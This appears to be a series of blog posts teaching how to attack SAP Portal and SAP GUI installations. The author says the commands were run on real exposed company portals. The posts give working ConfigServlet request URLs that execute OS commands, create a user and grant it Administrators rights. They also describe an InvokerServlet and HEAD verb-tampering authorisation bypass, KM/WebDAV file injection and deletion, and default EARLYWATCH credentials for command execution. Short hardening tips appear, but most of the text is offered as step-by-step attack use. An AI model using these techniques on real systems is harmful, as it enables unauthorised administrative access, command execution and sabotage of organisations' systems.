SAP Portal Security, lesson 2: Hacking Servlets

In my previous post we discussed portal architecture, features and mostly Knowledge Management (KM) vulnerabilities. In this post we will discuss main security mechanism embedded in the SAP Portal applications, and how we can override some of them.

*  I assume that you are familiar with basic HTTP mechanisms, POST / GET / HEAD methods, and you know that SAP Portal runs J2EE engine.

* All commands below were executed on actual SAP portal installations, which are exposed to WWW and have not been secured properly.

XML Descriptors and Invoker Servlet

Access to servlet applications deployed on SAP Portal engine are controlled by XML descriptor files. Many of those SAP standard applications have serious security breaches. Here is an example of such a descriptor file:

<?xml version="1.0" encoding="UTF-8 ?> <web-app> <display-name>HelloWorld Application</display-name> <description> This is a simple web application for Ivan's blog </description> <servlet> <servlet-name>HelloServlet</servlet-name> <servlet-class>examples.Hello</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping> <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/hello/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>Administrator</role-name> </auth-constraint> </security-constraint> </web-app>

As you can see, the servlet above is defined for access by /hello/... URL pattern, and GET requests will be accepted from user with Administrator role assigned. In order to override these settings hackers can use InvokerServlet, which  is enabled in SAP portals by default. This servlet allows accessing other servlet methods by using structured URLs, without passing the authorization check.

The servlet above could be accessed by http://{server:port}/servlet/examples.Hello by all users, as URL pattern is not matching the rule defined in XML descriptor. 

Let's take a deeper look.

Verb Tampering

The most critical of all servlets is called CTC, which allows execution of OS commands and creation of local users. Imagine that hackers could create an administrative user in your portal, with a simple command called from their browser. 

Here is an example of such a command, executed from your browser:
/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig

Now, as I told before, CTC servlet could be used to manage users. The command below will create a user in local UME:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME={enter your user},PASSWORD={enter your password}

Hey, there is even a success message:

After creating the user, we need to add administrative permissions. Guess what, there is a command for that as well:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME={enter your user},GROUPNAME=Administrators

There you go, now you have an administrator account in the system.

As you see from screenshots above, we used a simple GET method to execute those commands. For cases where GET / POST methods are secured, we can use HEAD methods, which don't match the XML descriptor file. 

Tips to keep it secure

1. Make sure your system is up to date. 

2. Block direct servlet execution (for example, by SAP WebDispatcher URL filtering)

3. Install notes 1467771, 1445998, 1503579,1616259 (if relevant)

Next post will cover user secure storage and encryption, cross-site scripting (XSS) and security zone attacks.

Stay tuned :-)

SAP Portal Security, lesson 1: Hacking KM

Dear readers!

In upcoming posts about SAP Portal Security I am planning to cover common mistakes done by IT departments during exposure of SAP Portals to the world wide web. We will start with the most basic ones, and dive in to the more complicated ones, but I will try to keep it as simple as it gets.

I suggest reviewing my previous post about exposing SAP NetWeaver to the world, if you are not yet exposing your SAP Portals to the internet.

Intro

SAP portal is used in many companies as a central access point to other SAP and non-SAP applications. There are plenty of reasons to do that, such Single Sign On (SSO), ease of access, user-friendly interface and many others. SAP portals, exposed to the internet, become an attractive target for hackers and enthusiasts like myself. Potential information stored in this SAP module can be used for business intelligence by competitors, which can steal information or affect the company's image by sabotaging the system.

Architecture

Let's take a look at SAP Portal architecture. It is important to know the elements of our system, how they interact, and how they can be hacked with a bit of knowledge. Here is a basic schema from SAP documentation:

The platform behind our SAP Portal is J2EE, which operates java applications, iViews, web services, servlets, and supports many standard protocols, such as WebDAV and others. From the scheme above you can see that SAP Portal is connected to back end modules, such as ERP, CRM, BW, LDAP and SQL server. The system can be installed on Microsoft / UNIX operating systems and have different SQL servers connected through JDBC, and it is important for our future sessions.

Finding exposed SAP portals

There is a mistaken opinion that SAP portals are rarely exposed to the World Wide Web, and they are heavily secured. You can search for the following expression to see how many there are:

Lesson 1: Knowledge Management 

I would like to start our vulnerabilities discovery with the most basic portal module - Knowledge Management (KM). This module is not actively changed by SAP for many years now, and it delivers many low-level protocols and features that are rarely secured. It can become a critical access point to the system, providing access to file repositories and system storage.

Here is a basic architecture overview of portal KM from SAP documentation:

As you can see from the overview, there is WebDAV through HTTP/S. Developers or hackers with a bit on scripting can perform Denial Of Service (DOS) attacks and overload the system storage, or steal information by accessing the module even with Guest authorization.

Let's give it a try. You will be surprised how many companies are not blocking access to their KM module, thus exposing their repositories to the internet without even knowing it. Try adding /irj/go/km/docs to the portal URL you have found before, and you will be able to navigate to the KM module. Here is a live example I found:

Some companies might be holding sensitive information on their KM repositories, without really managing authorizations and access points. This mistake is very common, and I believe it is the most amateur one.

But hey, we have another great feature that is not managed properly, it's called WebDAV protocol. It's widely-used protocol for reading / writing documents on web servers, and it appears to be wrongly treated in many organizations. 

For example, you can connect many web-facing KM repositories as network drives on your PCs, simple as that:

After doing that, injecting files to remote servers becomes a copy-paste task. What's even worse - in many cases you can delete content through WebDAV, which can sabotage the company.

Tips to keep it secure

1. Use SAP WebDispatcher (or other reverse proxy) to control accessible URLs by URL filtering

2. Do not connect your server file system as KM repository

3. Maintain KM permissions properly

4. Restrict WebDAV access to sensitive folders

Next time we will dive deeper, exploring servlets and security mechanisms in SAP portal, which allow creating users, assigning them to Administrators group, and performing OS-level commands.

Stay tuned! :-)

How to hack your SAP environment

Greetings, dear readers!

Today I would like to share with you some thoughts about security +SAP environment. I hear people talking about security a lot, discussing GRC implementations, HTTPS protocols appliances, and other security enhancements that are targeted to improve overall security and authorizations. We all love talking about cloud solutions, mobile tools and their security, and other aspects of everyday +SAP maintenance.

How about taking it to the previous level? The steps below can be executed by any user that has SAP GUI installation, and he doesn't even require a user in SAP. Be careful with your commands...

* This post applies to Windows-based installations, with SAP BASIS component lower than EHP1, patch 10.

1. Open your SAP GUI
2. Double-click on one of your SAP installations (I suggest you don't touch your production environment)
3. Log on to the system, by changing client number to 066, user EARLYWATCH, password 'support'
   
   
4. Execute transaction SM51
5. While in SM51, execute the command GREP
   
   
6. Paste the line below and click "Find" - you will get full configuration of the server
   
   
   
   As you might understand, you can execute command prompt commands directly from SAP, without even having a user there. You can, for example, change the word 'set' in the line above to 'ipconfig', which will return you the network configuration.
   
   Security, huh?